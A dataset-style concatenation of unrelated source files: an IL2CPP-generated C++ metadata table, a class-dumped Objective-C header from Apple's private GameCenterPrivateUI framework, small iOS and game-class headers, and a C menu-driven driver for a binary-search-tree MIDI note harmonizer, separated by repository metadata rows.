{ (Il2CppRGCTXDataType)3, 15035 },
{ (Il2CppRGCTXDataType)3, 8135 },
{ (Il2CppRGCTXDataType)2, 1996 },
{ (Il2CppRGCTXDataType)2, 2902 },
{ (Il2CppRGCTXDataType)3, 15022 },
{ (Il2CppRGCTXDataType)3, 6442 },
{ (Il2CppRGCTXDataType)3, 6441 },
{ (Il2CppRGCTXDataType)3, 8136 },
{ (Il2CppRGCTXDataType)2, 2894 },
{ (Il2CppRGCTXDataType)3, 14987 },
{ (Il2CppRGCTXDataType)3, 17181 },
{ (Il2CppRGCTXDataType)2, 2901 },
{ (Il2CppRGCTXDataType)3, 15021 },
{ (Il2CppRGCTXDataType)3, 8149 },
{ (Il2CppRGCTXDataType)2, 1998 },
{ (Il2CppRGCTXDataType)2, 2910 },
{ (Il2CppRGCTXDataType)3, 15052 },
{ (Il2CppRGCTXDataType)3, 8765 },
{ (Il2CppRGCTXDataType)3, 4714 },
{ (Il2CppRGCTXDataType)3, 6446 },
{ (Il2CppRGCTXDataType)3, 6445 },
{ (Il2CppRGCTXDataType)3, 4713 },
{ (Il2CppRGCTXDataType)3, 8150 },
{ (Il2CppRGCTXDataType)2, 2896 },
{ (Il2CppRGCTXDataType)3, 14989 },
{ (Il2CppRGCTXDataType)3, 17183 },
{ (Il2CppRGCTXDataType)2, 2909 },
{ (Il2CppRGCTXDataType)3, 15051 },
{ (Il2CppRGCTXDataType)3, 6436 },
{ (Il2CppRGCTXDataType)3, 6437 },
{ (Il2CppRGCTXDataType)3, 6447 },
{ (Il2CppRGCTXDataType)2, 657 },
{ (Il2CppRGCTXDataType)3, 116 },
{ (Il2CppRGCTXDataType)3, 12871 },
{ (Il2CppRGCTXDataType)2, 908 },
{ (Il2CppRGCTXDataType)3, 2162 },
{ (Il2CppRGCTXDataType)3, 12876 },
{ (Il2CppRGCTXDataType)3, 4674 },
{ (Il2CppRGCTXDataType)2, 452 },
{ (Il2CppRGCTXDataType)3, 12872 },
{ (Il2CppRGCTXDataType)2, 2537 },
{ (Il2CppRGCTXDataType)3, 2240 },
{ (Il2CppRGCTXDataType)2, 928 },
{ (Il2CppRGCTXDataType)2, 1179 },
{ (Il2CppRGCTXDataType)3, 4686 },
{ (Il2CppRGCTXDataType)3, 12873 },
{ (Il2CppRGCTXDataType)3, 4669 },
{ (Il2CppRGCTXDataType)3, 4670 },
{ (Il2CppRGCTXDataType)3, 4668 },
{ (Il2CppRGCTXDataType)3, 4671 },
{ (Il2CppRGCTXDataType)2, 1175 },
{ (Il2CppRGCTXDataType)2, 3372 },
{ (Il2CppRGCTXDataType)3, 6435 },
{ (Il2CppRGCTXDataType)3, 4673 },
{ (Il2CppRGCTXDataType)2, 1536 },
{ (Il2CppRGCTXDataType)3, 4672 },
{ (Il2CppRGCTXDataType)2, 1461 },
{ (Il2CppRGCTXDataType)2, 3331 },
{ (Il2CppRGCTXDataType)2, 1578 },
{ (Il2CppRGCTXDataType)2, 1645 },
{ (Il2CppRGCTXDataType)3, 5823 },
{ (Il2CppRGCTXDataType)2, 1222 },
{ (Il2CppRGCTXDataType)3, 6921 },
{ (Il2CppRGCTXDataType)3, 6922 },
{ (Il2CppRGCTXDataType)3, 6927 },
{ (Il2CppRGCTXDataType)2, 1719 },
{ (Il2CppRGCTXDataType)3, 6924 },
{ (Il2CppRGCTXDataType)3, 17637 },
{ (Il2CppRGCTXDataType)2, 1182 },
{ (Il2CppRGCTXDataType)3, 4703 },
{ (Il2CppRGCTXDataType)1, 1531 },
{ (Il2CppRGCTXDataType)2, 3340 },
{ (Il2CppRGCTXDataType)3, 6923 },
{ (Il2CppRGCTXDataType)1, 3340 },
{ (Il2CppRGCTXDataType)1, 1719 },
{ (Il2CppRGCTXDataType)2, 3390 },
{ (Il2CppRGCTXDataType)2, 3340 },
{ (Il2CppRGCTXDataType)3, 6928 },
{ (Il2CppRGCTXDataType)3, 6926 },
{ (Il2CppRGCTXDataType)3, 6925 },
{ (Il2CppRGCTXDataType)2, 310 },
{ (Il2CppRGCTXDataType)3, 4715 },
{ (Il2CppRGCTXDataType)2, 437 },
};
extern const CustomAttributesCacheGenerator g_System_Core_AttributeGenerators[];
IL2CPP_EXTERN_C const Il2CppCodeGenModule g_System_Core_CodeGenModule;
const Il2CppCodeGenModule g_System_Core_CodeGenModule =
{
"System.Core.dll",
164,
s_methodPointers,
0,
NULL,
s_InvokerIndices,
0,
NULL,
41,
s_rgctxIndices,
201,
s_rgctxValues,
NULL,
g_System_Core_AttributeGenerators,
NULL, // module initializer,
NULL,
NULL,
NULL,
};
| 45.128451 | 223 | 0.795143 |
bd352a8c0551957adf2a90e575ff28b87e072ea3 | 13,688 | h | C | PrivateFrameworks/GameCenterPrivateUI.framework/_GKBubbleFlowTransitionInfo.h | shaojiankui/iOS10-Runtime-Headers | 6b0d842bed0c52c2a7c1464087b3081af7e10c43 | [
"MIT"
] | 36 | 2016-04-20T04:19:04.000Z | 2018-10-08T04:12:25.000Z | PrivateFrameworks/GameCenterPrivateUI.framework/_GKBubbleFlowTransitionInfo.h | shaojiankui/iOS10-Runtime-Headers | 6b0d842bed0c52c2a7c1464087b3081af7e10c43 | [
"MIT"
] | null | null | null | PrivateFrameworks/GameCenterPrivateUI.framework/_GKBubbleFlowTransitionInfo.h | shaojiankui/iOS10-Runtime-Headers | 6b0d842bed0c52c2a7c1464087b3081af7e10c43 | [
"MIT"
] | 10 | 2016-06-16T02:40:44.000Z | 2019-01-15T03:31:45.000Z | /* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/GameCenterPrivateUI.framework/GameCenterPrivateUI
*/
@interface _GKBubbleFlowTransitionInfo : NSObject <NSCopying> {
UIViewController * _containingViewController;
double _crossfadeDuration;
bool _disableInteractionDuringTransition;
double _duration;
double _fadeInDuration;
double _fadeOutDuration;
bool _fadedOutRealFromView;
GKBubbleSet * _fromBubbles;
struct {
unsigned int respondsTo_bubbleAnimatorForTransitionFromViewController : 1;
unsigned int respondsTo_bubbleAnimatorForTransitionToViewController : 1;
unsigned int respondsTo_bubbleAnimatorForRotation : 1;
unsigned int respondsTo_finalScreenFrameInViewCoordinatesForBubbleOfType : 1;
unsigned int respondsTo_configureControlForBubble : 1;
unsigned int respondsTo_bubblesUsedForAnyTransition : 1;
unsigned int respondsTo_bubbleFlowAnimateInDuration : 1;
unsigned int respondsTo_bubbleFlowAnimateOutDuration : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeOutDuration : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeOutDelay : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeInDuration : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeInDelay : 1;
unsigned int respondsTo_viewWillAppearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewDidAppearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewWillDisappearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewDidDisappearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewsToAnimateInWhileAppearingWithBubbleFlow : 1;
unsigned int respondsTo_viewsToAnimateOutWhileDisappearingWithBubbleFlow : 1;
unsigned int respondsTo_willAnimateAppearingWithBubbleFlow : 1;
unsigned int respondsTo_willAnimateDisappearingWithBubbleFlow : 1;
unsigned int respondsTo_willAnimateKeyframesForAppearingWithBubbleFlowFromRelativeStartTime_relativeDuration_absoluteTransitionDuration : 1;
unsigned int respondsTo_willAnimateKeyframesForDisappearingWithBubbleFlowFromRelativeStartTime_relativeDuration_absoluteTransitionDuration : 1;
unsigned int respondsTo_updateBubbleTextImmediatelyForTransitionFromViewController : 1;
unsigned int respondsTo_readyToDisappearWithBubbleFlow : 1;
unsigned int respondsTo_readyToAppearWithBubbleFlow : 1;
unsigned int respondsTo_delayDisappearingWithBubbleFlowUntil : 1;
unsigned int respondsTo_delayAppearingWithBubbleFlowUntil : 1;
} _fromFlags;
long long _fromFocusBubbleType;
GKBubblePathAnimator * _fromPathAnimator;
_GKBubbleFlowPathTransitionInfo * _fromPathTransitionInfo;
UIViewController<GKBubbleFlowableViewController> * _fromVC;
UIViewController * _fromWrapperVC;
GKBubblePathAnimator * _onlyPathAnimator;
_GKBubbleFlowPathTransitionInfo * _onlyPathTransitionInfo;
double _relativeCrossfadeDuration;
double _relativeDuration;
double _relativeFadeInDuration;
double _relativeFadeOutDuration;
double _relativeStartTime;
double _startTime;
GKBubbleSet * _toBubbles;
struct {
unsigned int respondsTo_bubbleAnimatorForTransitionFromViewController : 1;
unsigned int respondsTo_bubbleAnimatorForTransitionToViewController : 1;
unsigned int respondsTo_bubbleAnimatorForRotation : 1;
unsigned int respondsTo_finalScreenFrameInViewCoordinatesForBubbleOfType : 1;
unsigned int respondsTo_configureControlForBubble : 1;
unsigned int respondsTo_bubblesUsedForAnyTransition : 1;
unsigned int respondsTo_bubbleFlowAnimateInDuration : 1;
unsigned int respondsTo_bubbleFlowAnimateOutDuration : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeOutDuration : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeOutDelay : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeInDuration : 1;
unsigned int respondsTo_bubbleFlowSubviewFadeInDelay : 1;
unsigned int respondsTo_viewWillAppearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewDidAppearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewWillDisappearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewDidDisappearAnimated_bubbleFlow : 1;
unsigned int respondsTo_viewsToAnimateInWhileAppearingWithBubbleFlow : 1;
unsigned int respondsTo_viewsToAnimateOutWhileDisappearingWithBubbleFlow : 1;
unsigned int respondsTo_willAnimateAppearingWithBubbleFlow : 1;
unsigned int respondsTo_willAnimateDisappearingWithBubbleFlow : 1;
unsigned int respondsTo_willAnimateKeyframesForAppearingWithBubbleFlowFromRelativeStartTime_relativeDuration_absoluteTransitionDuration : 1;
unsigned int respondsTo_willAnimateKeyframesForDisappearingWithBubbleFlowFromRelativeStartTime_relativeDuration_absoluteTransitionDuration : 1;
unsigned int respondsTo_updateBubbleTextImmediatelyForTransitionFromViewController : 1;
unsigned int respondsTo_readyToDisappearWithBubbleFlow : 1;
unsigned int respondsTo_readyToAppearWithBubbleFlow : 1;
unsigned int respondsTo_delayDisappearingWithBubbleFlowUntil : 1;
unsigned int respondsTo_delayAppearingWithBubbleFlowUntil : 1;
} _toFlags;
long long _toFocusBubbleType;
GKBubblePathAnimator * _toPathAnimator;
_GKBubbleFlowPathTransitionInfo * _toPathTransitionInfo;
UIViewController<GKBubbleFlowableViewController> * _toVC;
UIViewController * _toWrapperVC;
long long _transitionPhase;
long long _transitionType;
}
@property (nonatomic, readonly) bool animated;
@property (nonatomic, retain) UIViewController *containingViewController;
@property (nonatomic) double crossfadeDuration;
@property (nonatomic) bool disableInteractionDuringTransition;
@property (nonatomic) double duration;
@property (nonatomic) double fadeInDuration;
@property (nonatomic) double fadeOutDuration;
@property (nonatomic) bool fadedOutRealFromView;
@property (nonatomic, retain) GKBubbleSet *fromBubbles;
@property (nonatomic) struct { unsigned int x1 : 1; unsigned int x2 : 1; unsigned int x3 : 1; unsigned int x4 : 1; unsigned int x5 : 1; unsigned int x6 : 1; unsigned int x7 : 1; unsigned int x8 : 1; unsigned int x9 : 1; unsigned int x10 : 1; unsigned int x11 : 1; unsigned int x12 : 1; unsigned int x13 : 1; unsigned int x14 : 1; unsigned int x15 : 1; unsigned int x16 : 1; unsigned int x17 : 1; unsigned int x18 : 1; unsigned int x19 : 1; unsigned int x20 : 1; unsigned int x21 : 1; unsigned int x22 : 1; unsigned int x23 : 1; unsigned int x24 : 1; unsigned int x25 : 1; unsigned int x26 : 1; unsigned int x27 : 1; } fromFlags;
@property (nonatomic) long long fromFocusBubbleType;
@property (nonatomic, retain) GKBubblePathAnimator *fromPathAnimator;
@property (nonatomic, retain) _GKBubbleFlowPathTransitionInfo *fromPathTransitionInfo;
@property (nonatomic, retain) UIViewController<GKBubbleFlowableViewController> *fromVC;
@property (nonatomic, retain) UIViewController *fromWrapperVC;
@property (nonatomic, readonly) bool hasNonFallbackPathAnimator;
@property (nonatomic, retain) GKBubblePathAnimator *onlyPathAnimator;
@property (nonatomic, retain) _GKBubbleFlowPathTransitionInfo *onlyPathTransitionInfo;
@property (nonatomic, readonly) UIViewController *realFromVC;
@property (nonatomic, readonly) UIViewController *realToVC;
@property (nonatomic) double relativeCrossfadeDuration;
@property (nonatomic) double relativeDuration;
@property (nonatomic) double relativeFadeInDuration;
@property (nonatomic) double relativeFadeOutDuration;
@property (nonatomic) double relativeStartTime;
@property (nonatomic) double startTime;
@property (nonatomic, retain) GKBubbleSet *toBubbles;
@property (nonatomic) struct { unsigned int x1 : 1; unsigned int x2 : 1; unsigned int x3 : 1; unsigned int x4 : 1; unsigned int x5 : 1; unsigned int x6 : 1; unsigned int x7 : 1; unsigned int x8 : 1; unsigned int x9 : 1; unsigned int x10 : 1; unsigned int x11 : 1; unsigned int x12 : 1; unsigned int x13 : 1; unsigned int x14 : 1; unsigned int x15 : 1; unsigned int x16 : 1; unsigned int x17 : 1; unsigned int x18 : 1; unsigned int x19 : 1; unsigned int x20 : 1; unsigned int x21 : 1; unsigned int x22 : 1; unsigned int x23 : 1; unsigned int x24 : 1; unsigned int x25 : 1; unsigned int x26 : 1; unsigned int x27 : 1; } toFlags;
@property (nonatomic) long long toFocusBubbleType;
@property (nonatomic, retain) GKBubblePathAnimator *toPathAnimator;
@property (nonatomic, retain) _GKBubbleFlowPathTransitionInfo *toPathTransitionInfo;
@property (nonatomic, retain) UIViewController<GKBubbleFlowableViewController> *toVC;
@property (nonatomic, retain) UIViewController *toWrapperVC;
@property (nonatomic) long long transitionPhase;
@property (nonatomic) long long transitionType;
- (void)adjustDuration:(double)arg1;
- (bool)animated;
- (id)containingViewController;
- (id)copyForPhase:(long long)arg1;
- (id)copyWithZone:(struct _NSZone { }*)arg1;
- (double)crossfadeDuration;
- (void)dealloc;
- (id)description;
- (bool)disableInteractionDuringTransition;
- (double)duration;
- (double)fadeInDuration;
- (double)fadeOutDuration;
- (bool)fadedOutRealFromView;
- (id)fromBubbles;
- (struct { unsigned int x1 : 1; unsigned int x2 : 1; unsigned int x3 : 1; unsigned int x4 : 1; unsigned int x5 : 1; unsigned int x6 : 1; unsigned int x7 : 1; unsigned int x8 : 1; unsigned int x9 : 1; unsigned int x10 : 1; unsigned int x11 : 1; unsigned int x12 : 1; unsigned int x13 : 1; unsigned int x14 : 1; unsigned int x15 : 1; unsigned int x16 : 1; unsigned int x17 : 1; unsigned int x18 : 1; unsigned int x19 : 1; unsigned int x20 : 1; unsigned int x21 : 1; unsigned int x22 : 1; unsigned int x23 : 1; unsigned int x24 : 1; unsigned int x25 : 1; unsigned int x26 : 1; unsigned int x27 : 1; })fromFlags;
- (long long)fromFocusBubbleType;
- (id)fromPathAnimator;
- (id)fromPathTransitionInfo;
- (id)fromVC;
- (id)fromWrapperVC;
- (bool)hasNonFallbackPathAnimator;
- (id)init;
- (id)onlyPathAnimator;
- (id)onlyPathTransitionInfo;
- (id)realFromVC;
- (id)realToVC;
- (void)recalculateDurationsAfterAdjustment;
- (double)relativeCrossfadeDuration;
- (double)relativeDuration;
- (double)relativeFadeInDuration;
- (double)relativeFadeOutDuration;
- (double)relativeStartTime;
- (void)setContainingViewController:(id)arg1;
- (void)setCrossfadeDuration:(double)arg1;
- (void)setDisableInteractionDuringTransition:(bool)arg1;
- (void)setDuration:(double)arg1;
- (void)setFadeInDuration:(double)arg1;
- (void)setFadeOutDuration:(double)arg1;
- (void)setFadedOutRealFromView:(bool)arg1;
- (void)setFromBubbles:(id)arg1;
- (void)setFromFlags:(struct { unsigned int x1 : 1; unsigned int x2 : 1; unsigned int x3 : 1; unsigned int x4 : 1; unsigned int x5 : 1; unsigned int x6 : 1; unsigned int x7 : 1; unsigned int x8 : 1; unsigned int x9 : 1; unsigned int x10 : 1; unsigned int x11 : 1; unsigned int x12 : 1; unsigned int x13 : 1; unsigned int x14 : 1; unsigned int x15 : 1; unsigned int x16 : 1; unsigned int x17 : 1; unsigned int x18 : 1; unsigned int x19 : 1; unsigned int x20 : 1; unsigned int x21 : 1; unsigned int x22 : 1; unsigned int x23 : 1; unsigned int x24 : 1; unsigned int x25 : 1; unsigned int x26 : 1; unsigned int x27 : 1; })arg1;
- (void)setFromFocusBubbleType:(long long)arg1;
- (void)setFromPathAnimator:(id)arg1;
- (void)setFromPathTransitionInfo:(id)arg1;
- (void)setFromVC:(id)arg1;
- (void)setFromWrapperVC:(id)arg1;
- (void)setOnlyPathAnimator:(id)arg1;
- (void)setOnlyPathTransitionInfo:(id)arg1;
- (void)setRelativeCrossfadeDuration:(double)arg1;
- (void)setRelativeDuration:(double)arg1;
- (void)setRelativeFadeInDuration:(double)arg1;
- (void)setRelativeFadeOutDuration:(double)arg1;
- (void)setRelativeStartTime:(double)arg1;
- (void)setStartTime:(double)arg1;
- (void)setToBubbles:(id)arg1;
- (void)setToFlags:(struct { unsigned int x1 : 1; unsigned int x2 : 1; unsigned int x3 : 1; unsigned int x4 : 1; unsigned int x5 : 1; unsigned int x6 : 1; unsigned int x7 : 1; unsigned int x8 : 1; unsigned int x9 : 1; unsigned int x10 : 1; unsigned int x11 : 1; unsigned int x12 : 1; unsigned int x13 : 1; unsigned int x14 : 1; unsigned int x15 : 1; unsigned int x16 : 1; unsigned int x17 : 1; unsigned int x18 : 1; unsigned int x19 : 1; unsigned int x20 : 1; unsigned int x21 : 1; unsigned int x22 : 1; unsigned int x23 : 1; unsigned int x24 : 1; unsigned int x25 : 1; unsigned int x26 : 1; unsigned int x27 : 1; })arg1;
- (void)setToFocusBubbleType:(long long)arg1;
- (void)setToPathAnimator:(id)arg1;
- (void)setToPathTransitionInfo:(id)arg1;
- (void)setToVC:(id)arg1;
- (void)setToWrapperVC:(id)arg1;
- (void)setTransitionPhase:(long long)arg1;
- (void)setTransitionType:(long long)arg1;
- (double)startTime;
- (id)toBubbles;
- (struct { unsigned int x1 : 1; unsigned int x2 : 1; unsigned int x3 : 1; unsigned int x4 : 1; unsigned int x5 : 1; unsigned int x6 : 1; unsigned int x7 : 1; unsigned int x8 : 1; unsigned int x9 : 1; unsigned int x10 : 1; unsigned int x11 : 1; unsigned int x12 : 1; unsigned int x13 : 1; unsigned int x14 : 1; unsigned int x15 : 1; unsigned int x16 : 1; unsigned int x17 : 1; unsigned int x18 : 1; unsigned int x19 : 1; unsigned int x20 : 1; unsigned int x21 : 1; unsigned int x22 : 1; unsigned int x23 : 1; unsigned int x24 : 1; unsigned int x25 : 1; unsigned int x26 : 1; unsigned int x27 : 1; })toFlags;
- (long long)toFocusBubbleType;
- (id)toPathAnimator;
- (id)toPathTransitionInfo;
- (id)toVC;
- (id)toWrapperVC;
- (long long)transitionPhase;
- (long long)transitionType;
@end
| 66.446602 | 628 | 0.76315 |
bd3538c0b66f3c73ba3a2f139b7bcb9851af8788 | 213 | h | C | DSLTransitionExample/NextViewController.h | dengshunlai/DSLTransition | c659b994e3a8166ec3fcb67a536ffa491033abe4 | [
"MIT"
] | 1 | 2016-10-30T11:32:54.000Z | 2016-10-30T11:32:54.000Z | DSLTransitionExample/NextViewController.h | dengshunlai/DSLTransition | c659b994e3a8166ec3fcb67a536ffa491033abe4 | [
"MIT"
] | null | null | null | DSLTransitionExample/NextViewController.h | dengshunlai/DSLTransition | c659b994e3a8166ec3fcb67a536ffa491033abe4 | [
"MIT"
] | null | null | null | //
// NextViewController.h
// DSLTransition
//
// Created by 邓顺来 on 16/10/24.
// Copyright © 2016年 邓顺来. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface NextViewController : UIViewController
@end
| 15.214286 | 48 | 0.699531 |
bd3552eaf2c29263e166aa599a689a4641756ead | 589 | h | C | Runner/Source/Spawnable/Component/InputHandler.h | jdfraser/Runner | 9f16b524da26b3fd7395e39858447d3b94c3e103 | [
"MIT"
] | null | null | null | Runner/Source/Spawnable/Component/InputHandler.h | jdfraser/Runner | 9f16b524da26b3fd7395e39858447d3b94c3e103 | [
"MIT"
] | null | null | null | Runner/Source/Spawnable/Component/InputHandler.h | jdfraser/Runner | 9f16b524da26b3fd7395e39858447d3b94c3e103 | [
"MIT"
] | null | null | null | #pragma once
#include "Component.h"
class InputHandler : public Component
{
private:
const float POSITION_TOLERANCE = 0.1f;
const float MAX_DISTANCE_FROM_CENTER = 1.5f;
float m_forwardSpeed = 5.0f;
float m_horizontalSpeed = 4.0f;
float m_jumpForce = 4.0f;
bool m_quit = false;
float m_forwardMovement = 0.0f;
float m_horizontalMovement = 0.0f;
float getHorizontalMovement();
float getDirectionToCenter();
public:
virtual void tick(float deltaTime) override;
virtual void load() override;
virtual void unLoad() override;
bool wantsQuit() const;
}; | 18.40625 | 45 | 0.726655 |
bd355a5d4ccf05e14455041ab0b7c97fe9ce82e9 | 1,248 | h | C | Swordfight/include/rendering/Animation.h | MitchellHodzen/Swordfight | 540ce6e10ad3ff2b6b9d3f345462f1c8400a3741 | [
"MIT"
] | null | null | null | Swordfight/include/rendering/Animation.h | MitchellHodzen/Swordfight | 540ce6e10ad3ff2b6b9d3f345462f1c8400a3741 | [
"MIT"
] | null | null | null | Swordfight/include/rendering/Animation.h | MitchellHodzen/Swordfight | 540ce6e10ad3ff2b6b9d3f345462f1c8400a3741 | [
"MIT"
] | null | null | null | #pragma once
#include <string>
#include <vector>
#include <cstdint>
#include "Timer.h"
class Animation
{
public:
~Animation();
bool GenerateAnimation(const std::string name, const std::vector<int> animationSpriteIndicies);
unsigned int GetAnimationLength();
int GetSpriteAtIndex(int spriteIndex);
std::string GetName();
private:
void ClearAnimation();
std::vector<int> animationSpriteIndicies;
unsigned int animationLength = 0;
std::string name;
};
struct AnimationInstance{
AnimationInstance(Animation& animation, unsigned int currentAnimationFrame, unsigned int framesPerSecond, bool looping)
{
this->animation = &animation;
this->animationName = animation.GetName();
this->currentAnimationFrame = currentAnimationFrame;
this->framesPerSecond = framesPerSecond;
this->looping = looping;
}
~AnimationInstance()
{
animationName.clear();
animation = nullptr;
currentAnimationFrame = 0;
framesPerSecond = 0;
looping = false;
}
int GetCurrentAnimSprite()
{
return animation->GetSpriteAtIndex(currentAnimationFrame);
}
std::string animationName;
Animation* animation;
unsigned int currentAnimationFrame = 0;
unsigned int framesPerSecond = 0;
bool looping = false;
Timer animationFrameTimer;
}; | 21.152542 | 120 | 0.757212 |
bd355be25d37a688c6904fd2ffd63401bb6ed683 | 3,740 | c | C | interactive_driver.c | jiang-ch/midi-harmonizer | 3688bd0e00bb9a188213536b736fa95f0c8dc1c3 | [
"MIT"
] | null | null | null | interactive_driver.c | jiang-ch/midi-harmonizer | 3688bd0e00bb9a188213536b736fa95f0c8dc1c3 | [
"MIT"
] | null | null | null | interactive_driver.c | jiang-ch/midi-harmonizer | 3688bd0e00bb9a188213536b736fa95f0c8dc1c3 | [
"MIT"
] | null | null | null | #include<string.h>
// #include "AVLs.c"
#include"bst_version/BSTs.c"
void get_barindex(int *bar, double *index)
{
printf("Please enter the bar:\n");
scanf("%d",bar);
getchar();
printf("Please enter the index:\n");
scanf("%lf",index);
getchar();
}
int main()
{
int choice, bar, semitones,i;
double freq, index, time_shift;
char note1[5], note2[5];
BST_Node *root=NULL;
BST_Node *new_note=NULL;
BST_Node *t=NULL;
char name[1024];
char line[1024];
FILE *f;
read_note_table(); // Set up tables of note names and frequencies.
choice=0;
while (choice!=10)
{
printf("Please select from among the following options:\n");
printf("0 - Insert new note\n");
printf("1 - Search for note\n");
printf("2 - Delete note\n");
printf("3 - Print notes in order\n");
printf("4 - Print notes in pre-order\n");
printf("5 - Print notes in post-order\n");
printf("6 - Read song from file\n");
printf("7 - Make and run playlist\n");
printf("8 - Shift notes\n");
printf("9 - Harmonize\n");
printf("10 - Delete BST and exit\n");
scanf("%d",&choice);
getchar();
if (choice==0)
{
get_barindex(&bar, &index);
printf("Enter the note's frequency\n");
scanf("%lf",&freq);
getchar();
new_note=newBST_Node(freq,bar,index);
root=BST_insert(root,new_note);
}
if (choice==1)
{
get_barindex(&bar, &index);
t=BST_search(root,bar,index);
if (t!=NULL)
{
printf("Found note at (bar:index)=%d:%f, with frequency=%f Hz\n",bar,index,t->freq);
}
else
{
printf("No such note found in the tree\n");
}
}
if (choice==2)
{
get_barindex(&bar, &index);
root=BST_delete(root,bar,index);
}
if (choice==3)
BST_inOrder(root,0);
if (choice==4)
BST_preOrder(root,0);
if (choice==5)
BST_postOrder(root,0);
if (choice==6)
{
printf("Name of the song file (in .txt format)\n");
fgets(&name[0],1024,stdin);
i=strlen(&name[0]);
if (name[i-1]=='\n') name[i-1]='\0';
f=fopen(&name[0],"r");
if (f==NULL)
{
printf("Unable to open song file for reading. Please check name and path\n");
}
else
{
while(fgets(&line[0],50,f))
{
sscanf(line,"%d %lf",&bar, &index);
i=strlen(line);
if (line[i-1]=='\n') line[i-1]='\0';
if (line[i-4]=='\t') strcpy(¬e1[0],&line[i-3]);
else strcpy(¬e1[0],&line[i-4]);
freq=-1;
for (i=0; i<100; i++)
if (strcmp(¬e_names[i][0],note1)==0) {freq=note_freq[i]; break;}
printf("Read note from file with (bar:index)=%d:%f, name=%s, freq=%f\n",bar,index,note1,freq);
if (freq>0)
{
new_note=newBST_Node(freq,bar,index);
root=BST_insert(root,new_note);
}
}
fclose(f);
}
}
if (choice==7)
{
BST_makePlayList(root);
play_notes(2);
}
if (choice==8)
{
printf("Enter the name for the notes you want shifted\n");
fgets(¬e1[0],5,stdin);
i=strlen(¬e1[0]);
if (note1[i-1]=='\n') note1[i-1]='\0'; // fgets() leaves the carriage return in the string! remove it!
printf("Enter the name for the target notes\n");
fgets(¬e2[0],5,stdin);
i=strlen(¬e2[0]);
if (note2[i-1]=='\n') note2[i-1]='\0';
BST_shiftFreq(root,note1,note2);
}
if (choice==9)
{
printf("Enter the number of semitones for note shifting\n");
scanf("%d",&semitones);
getchar();
printf("Enter the time shift for each new note\n");
scanf("%lf",&time_shift);
root=BST_harmonize(root,semitones,time_shift);
}
} // Enf while (choice!=10)
delete_BST(root);
return 0;
} | 24.129032 | 103 | 0.564973 |
bd35ba1f3d6648d38eb33114153db1d34d29ee8e | 4,138 | h | C | thirdparty/crow/http_server.h | anirul/LARPServer | 2f16756a2e4c02daa6131b593c8373ca8a28d8ab | [
"MIT"
] | null | null | null | thirdparty/crow/http_server.h | anirul/LARPServer | 2f16756a2e4c02daa6131b593c8373ca8a28d8ab | [
"MIT"
] | null | null | null | thirdparty/crow/http_server.h | anirul/LARPServer | 2f16756a2e4c02daa6131b593c8373ca8a28d8ab | [
"MIT"
] | null | null | null | #pragma once
#include <boost/date_time/posix_time/posix_time.hpp>
#include <boost/asio.hpp>
#include <cstdint>
#include <atomic>
#include <future>
#include <vector>
#include <memory>
#include "http_connection.h"
#include "datetime.h"
#include "logging.h"
#include "dumb_timer_queue.h"
namespace crow
{
using namespace boost;
using tcp = asio::ip::tcp;
template <typename Handler, typename ... Middlewares>
class Server
{
public:
Server(Handler* handler, uint16_t port, std::tuple<Middlewares...>* middlewares = nullptr, uint16_t concurrency = 1)
: acceptor_(io_service_, tcp::endpoint(asio::ip::address(), port)),
signals_(io_service_, SIGINT, SIGTERM),
handler_(handler),
concurrency_(concurrency),
port_(port),
middlewares_(middlewares)
{
}
void run()
{
if (concurrency_ < 0)
concurrency_ = 1;
for(int i = 0; i < concurrency_; i++)
io_service_pool_.emplace_back(new boost::asio::io_service());
std::vector<std::future<void>> v;
for(uint16_t i = 0; i < concurrency_; i ++)
v.push_back(
std::async(std::launch::async, [this, i]{
// initializing timer queue
auto& timer_queue = detail::dumb_timer_queue::get_current_dumb_timer_queue();
timer_queue.set_io_service(*io_service_pool_[i]);
boost::asio::deadline_timer timer(*io_service_pool_[i]);
timer.expires_from_now(boost::posix_time::seconds(1));
std::function<void(const boost::system::error_code& ec)> handler;
handler = [&](const boost::system::error_code& ec){
if (ec)
return;
timer_queue.process();
timer.expires_from_now(boost::posix_time::seconds(1));
timer.async_wait(handler);
};
timer.async_wait(handler);
io_service_pool_[i]->run();
}));
CROW_LOG_INFO << server_name_ << " server is running, local port " << port_;
signals_.async_wait(
[&](const boost::system::error_code& error, int signal_number){
stop();
});
do_accept();
v.push_back(std::async(std::launch::async, [this]{
io_service_.run();
CROW_LOG_INFO << "Exiting.";
}));
}
void stop()
{
io_service_.stop();
for(auto& io_service:io_service_pool_)
io_service->stop();
}
private:
asio::io_service& pick_io_service()
{
// TODO load balancing
roundrobin_index_++;
if (roundrobin_index_ >= io_service_pool_.size())
roundrobin_index_ = 0;
return *io_service_pool_[roundrobin_index_];
}
void do_accept()
{
auto p = new Connection<Handler, Middlewares...>(pick_io_service(), handler_, server_name_, middlewares_);
acceptor_.async_accept(p->socket(),
[this, p](boost::system::error_code ec)
{
if (!ec)
{
p->start();
}
do_accept();
});
}
private:
asio::io_service io_service_;
std::vector<std::unique_ptr<asio::io_service>> io_service_pool_;
tcp::acceptor acceptor_;
boost::asio::signal_set signals_;
Handler* handler_;
uint16_t concurrency_{1};
std::string server_name_ = "Crow/0.1";
uint16_t port_;
unsigned int roundrobin_index_{};
std::tuple<Middlewares...>* middlewares_;
};
}
| 32.328125 | 124 | 0.500725 |
bd3641877c9a0fcd72735a3c6757e036d0395d79 | 6,672 | h | C | PhysX-3.2.4_PC_SDK_Core/Source/Common/src/CmEventProfiler.h | emlowry/AIEFramework | 8f1dd02105237e72cfe303ec4c541eea7debd1f7 | [
"MIT"
